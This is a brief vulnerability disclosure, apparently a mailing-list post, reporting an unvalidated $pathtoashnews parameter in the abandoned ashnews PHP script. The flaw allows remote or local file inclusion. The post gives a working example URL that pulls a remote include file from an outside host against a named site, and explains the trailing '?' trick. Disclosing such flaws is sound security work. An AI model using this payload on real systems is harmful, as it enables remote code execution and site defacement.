Since the author of the product has got back to me with the following I 
think it is ok to disclose the issue now.

"That is a known error. Unfortunately I have completely abondoned 
ashnews. In fact, I have been neglecting taking it down completely which 
I am going to do right now. - Derek"

The issue is in the handling of the $pathtoashnews, it is not validated 
before being used by the script. Allowing remote or local file inclusion.

eg: 
http://dosko.nl/news/ashnews.php?pathtoashnews=http://f-box.org/~dan/inc.inc?
( The ? is required to make the remote server (f-box.org) ignore the 
string that is appended to the variable $pathtoashnews )
( The website that is in the example above has already been defaced! )

Cheers,
DanB UK.
